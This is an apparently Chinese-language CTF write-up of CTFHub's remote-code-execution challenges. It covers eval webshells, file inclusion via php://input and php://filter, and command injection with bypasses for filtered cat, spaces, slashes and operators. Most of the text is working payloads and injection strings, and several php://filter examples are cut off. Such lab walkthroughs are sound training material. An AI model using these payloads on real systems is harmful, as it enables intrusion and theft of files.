CTFHub – RCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
eval执行文件
查看一开始的源代码:
<?php
if(isset($_REQUEST['cmd'])){
eval($_REQUEST['cmd']);
}
else{
highlight_file(__FILE__);
}
?>
php函数意思是:
是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']); 也就是 木马
__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture
所以我们在访问的时候使用变量 cmd
/?cmd=system("ls")
此处因为根目录无flag 所以看上一级目录
/?cmd=system("ls /")
然后查找flag:
/?cmd=system("cat /flag_5647")
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!"; }
} else { highlight_file(__FILE__);}?>
<hr>i have a <a href="shell.txt">shell</a>, how to use it ?
strpos:查找字符串首次出现的位置
strpos(string,find,start)
参数 | 描述 |
---|
string | 必需。规定要搜索的字符串。 | find | 必需。规定要查找的字符串。 | start | 可选。规定在何处开始搜索。 |
所以php函数意思是:
如果get传参的变量中含有flag 就将文件包含起来
点击下面的shell.txt
发现由eval漏洞
<?php eval($_REQUEST['ctfhub']);?>
并且 $_REQUEST['ctfhub']
我们要想办法绕过 imclude 到达 hacker(黑客)
所以我们找个变量指向一个没有 flag 的文件
而题中已经给了提示 shell.txt 同时有 eval漏洞
所以我们可以构造出:
从而获得flag
PHP://input
一开始给出源代码:
在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,奈何没有上传点只得作罢,换个思路:
我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来到了,这时候我们添加的 内容是以 post数据流存在的,没有以代码的方式执行
幸运的是 php是一个功能强大的语言
在php伪协议中存在php://input
php://input
作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
条件:allow_url_fopen=off/on;allow_url_include=on
点击题中的 phpinfor 查看php情况,检查allow_url_include是否为on
然后,我们可以确定 本题考查就是 php://input
所以我们只要将 get改为 post 像这样:
POST /?file=php://input HTTP/1.1
然后在后面添加 shell:
<?php system('ls /');?>
所以我们只要将 get改为 post 像这样:
POST /?file=php://input HTTP/1.1
然后在后面添加 shell:
<?php system('ls /');?>
注:在本题使用<?php system('ls');?> 无效,要直接使用<?php system('ls /');?>
得到flag:
<?php system('cat /flag_4627');?>
在php伪协议中还存在:php://filter
php://filter
我们发现以本题的情况来看,php://也是可以使用
我们先了解下 php:filter
参数 | 描述 |
---|
read | 用读链的过滤器读数据流 | write | 用写链的过滤器写数据流 | resource | 声明过滤哪一个数据流 | 不指定读写 | 当不指定读写时会自己根据情况而定 |
我们可以直接构造:
?file=php:
但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的
必须先使用 php://input 获得 flag
?file=php:
远程包含
引入眼帘的就是这样一句话:
i don’t have shell, how to get flag?
自然而然地我们直接使用 php://input (上一关相同)
在解题的过程中,我们发现 所需要的文件名称 直接就是flag
但 php代码:echo
所以在本关我们可以直接使用 php://filter
?file=php:
读取源代码
题目中直接说 flag in /flag`
所以我们直接使用 php://filter
?file=php:
命令注入
我们先了解下命令注入:
命令注入
后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单 黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。 白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。 可以通过echo,>>等方法生成php文件并写入一句话木马
Windows系统中命令的链接符号
- “|”:直接执行后面的语句。
- “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
- “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能
先输入:
127.0.0.1&ls
127.0.0.1&cat 32506276723113.php|base64#
]然后进行 base64 解码
获得flag
在后面的关卡中,就是命令注入的黑名单应用了
过滤cat
在linux下,不只有cat 可以读取文件内容,more less head tac,都可以对文本进行读取。
当然我们使用的是windows ,但是也能用
127.0.0.1&ls
127.0.0.1; more flag_19336906025702.php | base64 #
过滤空格
在这一关过滤了空格
所以我们的思路就是使用特殊符号过滤空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS} 、${IFS} 来代替空格
127.0.0.1&ls
127.0.0.1;cat<flag_229962408527938.php|base64#
过滤目录分隔符
过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 ; ls /flag_is_here/flag_294042268011398.php,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php
? cd 进入flag_is_here目录,
? ls 显示flag_is_here目录里的内容。
所以
127.0.0.1&ls
127.0.0.1;flag_is_here;ls
127.0.0.1;flag_is_here;flag_294042268011398.php |base64#
过滤运算符
在本关过滤掉了 | &
所以
127.0.0.1&ls
127.0.0.1; base64 flag_726327229931.php#
综合练习
在本关过过滤了 | & ; / cat flag ctfhub 和空格
| & ; / cat flag ctfhub 和空格
cat 用more 代替
空格用 < 代替
| 我们可以将 base64写在前面
;(命令分隔符) 用%0a代替
注意应为 %0a是url编码所以要在url栏中执行
127.0.0.1%0als
?
|